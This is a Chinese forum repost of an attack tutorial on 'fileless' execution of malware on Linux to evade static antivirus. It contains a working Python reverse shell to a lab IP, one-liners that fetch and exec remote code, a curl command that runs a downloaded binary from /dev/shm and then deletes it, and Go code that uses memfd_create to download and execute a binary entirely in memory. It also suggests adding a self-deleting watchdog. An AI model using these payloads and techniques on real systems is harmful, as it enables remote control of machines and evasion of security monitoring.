编译型语言的痛!但无文件落地我可以!!!

打印 上一主题 下一主题

主题 833|帖子 833|积分 2499

声明:本文主要用作技能分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判定风险,并遵循相关法律法规。
@
目次

python 等脚本语言

通过将powercat 无文件落地思路举行扩展,可以思量到通过加载器以及payload等恶意代码执行文件,也可以使用无文件落地的方式对静态杀毒举行规避。
由于大多数Linux体系中都默认安装了 python ,且python作为一种脚本型语言,可以直接使用命令行代码执行操作,与powershell 有极大的相似之处,因此,使用python举行无文件落地思路是相同的。
示例

首先准备一个恶意的python脚本放置在远端的服务器,用于文件下载
  1. import socket
  2. import subprocess
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. s.connect(('192.168.220.151', 4444))
  5. while True:
  6.     command = s.recv(1024).decode('utf-8')
  7.     if command.lower() == 'exit':
  8.         break
  9.     output = subprocess.run(command, shell=True, capture_output=True)
  10.     s.send(output.stdout + output.stderr)
  11. s.close()
复制代码
然后,使用python举行文件下载并执行,达到无文件落地的结果
  1. import urllib.request
  2. import subprocess
  3. # 下载恶意 Python 脚本
  4. url = 'http://192.168.220.151/payload.py'
  5. response = urllib.request.urlopen(url)
  6. code = response.read().decode('utf-8')
  7. # 执行下载的脚本
  8. exec(code)
复制代码
但是,上述代码是脚本形式,要做到无文件落地执行,就需要完全在命令行执行代码。
python中可以使用 python自带的控制端,按照上述代码逐句执行。
  1. import urllib.request
  2. response = urllib.request.urlopen('http://192.168.220.151/payload.py')
  3. code = response.read().decode('utf-8')
  4. exec(code)
复制代码
也可以直接使用 python -c 来执行单行代码
  1. import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))
复制代码
  1. python3 -c "import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"
复制代码
演示

对payload所在目次开启web服务,用于下载恶意文件

攻击端开启监听

被控端操作,下载并执行恶意代码,实现无文件落地

攻击端成功吸收

来到被控端,并未发现payload,成功实现无文件落地

golang 等静态编译型语言

由于golang、C、C++ 等静态编译语言的特性,无论如何规避,都需要有文件在体系种举行执行才可以,但并不是说无法做到完全无文件落地。
内存文件体系


  • 完全在内存中执行:/dev/shm 使用的是内存文件体系(tmpfs),文件存储在内存中,确保不会写入磁盘。
  • 快速执行:内存中的文件访问速度比磁盘文件快得多,因此可以提高执行服从。
  • 通过将文件写入 /dev/shm 并从该目次下执行,文件完全存储在内存中,确保不会有文件写入磁盘,因此可以达到 完全无文件落地 的结果。
  • 假如你希望确保完全避免文件留下,可以将执行完成后清算 /dev/shm 目次下的文件,这样可以进一步加强安全性。
因此,对于编译型语言的二进制可执行文件的无文件落地,可以使用 /dev/shm  目次,例如:
  1. curl -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum
复制代码
这样会将文件下载到 /dev/shm/ 目次下,直接存储在内存中执行,而且在执行完毕后删除文件。
但这样也会产生一个问题,假如操作不当或者因不着名原因等导致恶意程序执行突然停止,那么就无法执行文件删除操作,因此,建议在恶意文件中参加 保险程序 。
也就是说,一旦程序停止,自动执行自删除操作,这里提供一种思路。
假如将自删除程序写入恶意文件,那么假如恶意程序被自动结束,就无法正常执行后续操作,因此,可以在恶意程序执行时,首先写入一个文件到内存体系中,文件中可以有一些偶然义操作用来避免安全检测,然后通过该文件及时监控恶意程序的执行状态。
memfd_create 使用

memfd_create 是 Linux 内核提供的体系调用,可以创建匿名文件,仅存在于内存中。这需要编写一些 C 代码或者使用支持该功能的高级语言。
以下是一个示例:
  1. package main
  2. import (
  3.         "fmt"
  4.         "io"
  5.         "net/http"
  6.         "os"
  7.         "golang.org/x/sys/unix"
  8.         "syscall"
  9. )
  10. func main() {
  11.         // 创建匿名内存文件
  12.         fd, err := unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)
  13.         if err != nil {
  14.                 panic(err)
  15.         }
  16.         // 将文件描述符包装为 os.File
  17.         memFile := os.NewFile(uintptr(fd), "helloNum")
  18.         defer memFile.Close()
  19.         // 下载二进制文件到内存文件
  20.         resp, err := http.Get("http://192.168.220.151/helloNum")
  21.         if err != nil {
  22.                 panic(err)
  23.         }
  24.         defer resp.Body.Close()
  25.         _, err = io.Copy(memFile, resp.Body)
  26.         if err != nil {
  27.                 panic(err)
  28.         }
  29.         // 将文件描述符重置到开始位置
  30.         _, err = memFile.Seek(0, 0)
  31.         if err != nil {
  32.                 panic(err)
  33.         }
  34.         // 使用 syscall.Exec 执行内存中的二进制文件
  35.         err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())
  36.         if err != nil {
  37.                 panic(err)
  38.         }
  39. }
复制代码

  • unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC):创建一个匿名的内存文件(也称为内存后备文件),这个文件存在于内存中,不会占用磁盘空间。MFD_CLOEXEC 标志意味着在执行 exec 系列函数时,这个文件描述符会自动关闭。
  • os.NewFile(uintptr(fd), "helloNum"):将创建的内存文件描述符 fd 转换为 os.File 对象,这样可以使用标准库中的文件操作方法。
  • http.Get("http://192.168.220.151/helloNum"):从指定的 URL 下载文件。
  • io.Copy(memFile, resp.Body):将 HTTP 响应体中的数据复制到内存文件中。
  • memFile.Seek(0, 0):将内存文件的读写指针移动到文件的开始位置。
  • syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ()):这是代码中的关键部分。syscall.Exec 函数用于更换当前进程的映像为新的程序。这里它尝试使用内存文件的文件描述符来执行内存中的二进制文件。

    • /proc/self/fd/:这是一个特别的目次,它包含了当前进程打开的所有文件描述符的符号链接。每个符号链接指向一个实际打开的文件或设备。
    • fmt.Sprint(memFile.Fd()):将内存文件的文件描述符转换为字符串。
    • []string{}:这是传递给 Exec 的参数列表,这里为空,意味着没有传递任何命令行参数。
    • os.Environ():这是传递给 Exec 的环境变量列表,它包含了当前进程的环境变量。

示例

编写一个演示程序,每隔3秒打印一个数字,并编译为二进制可执行文件,作为演示的远端恶意可执行文件

开启web服务

将上述代码编译为二进制可执行文件 memfd ,并执行

在执行过程中查看文件执行位置,并不存在远端文件落地,该文件是被直接加载到内存中,更换了 memfd进程的映像为我们的远端恶意程序。

欢迎关注 公众号 “D1TASec” ,获取更多姿势。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

涛声依旧在

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表